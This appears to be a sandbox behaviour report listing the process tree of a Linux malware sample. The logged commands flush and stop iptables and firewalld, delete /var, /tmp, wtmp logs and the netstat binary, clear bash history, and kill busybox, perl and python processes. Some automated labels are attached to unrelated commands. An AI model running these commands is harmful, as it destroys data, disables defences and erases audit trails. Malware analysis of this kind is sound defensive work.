/bin/systemctlsystemctl stop iptables.service2⤵
- Flushes firewall rules
PID:1137
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:1142
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1143
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:1156
-
/sbin/iptables/sbin/iptables -F2⤵
- Flushes firewall rules
PID:1157
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:1158
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:1159
-
/usr/sbin/serviceservice firewalld stop2⤵PID:1160
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1161
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1162
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:1164
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:1169
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:1170
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:1171
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:1172
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Flushes firewall rules
PID:1173
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Reads runtime system information
PID:1174
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:1175
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Reads runtime system information
PID:1176
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:1177
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:1178
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:1179
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:1180
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1160
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵PID:1160
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1160
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:1160
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1160
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:1160
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1168
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:1167
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:1181
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:1182
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:1183
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:1184
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:1185
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:1186
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:1187
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:1188
-
/bin/rmrm -rf "/tmp/*"2⤵PID:1189
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:1190
-
/bin/rmrm -rf /bin/netstat2⤵PID:1191
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:1192
-
/sbin/iptablesiptables -F2⤵PID:1193
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:1194
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1195
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:1196
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1197
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:1198
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1199
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:1200
-
/usr/sbin/serviceservice iptables stop2⤵PID:1201
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1202
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1203
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:1204
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Flushes firewall rules
PID:1208
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:1209
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:1210
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:1211
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:1212
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:1213
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:1214
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:1215
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:1216
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:1217
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:1218
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:1219
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:1201
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:1201
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:1201
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:1201
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:1201
-
-
/bin/systemctlsystemctl stop iptables.service2⤵PID:1201
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1207
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:1206
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:1220
-
/sbin/iptables/sbin/iptables -F2⤵PID:1221
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:1222
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:1223
-
/usr/sbin/serviceservice firewalld stop2⤵PID:1224
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1225
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1226
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:1227
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:1231
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:1232
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:1233
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:1234
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:1235
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Flushes firewall rules
PID:1236
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Reads runtime system information
PID:1237
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:1238
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:1239
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:1240
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Flushes firewall rules
PID:1241
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Flushes firewall rules
PID:1242
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1224
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵PID:1224
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1224
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:1224
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1224
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵PID:1224
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1230
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Flushes firewall rules
PID:1229
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:1245
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:1246
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:1247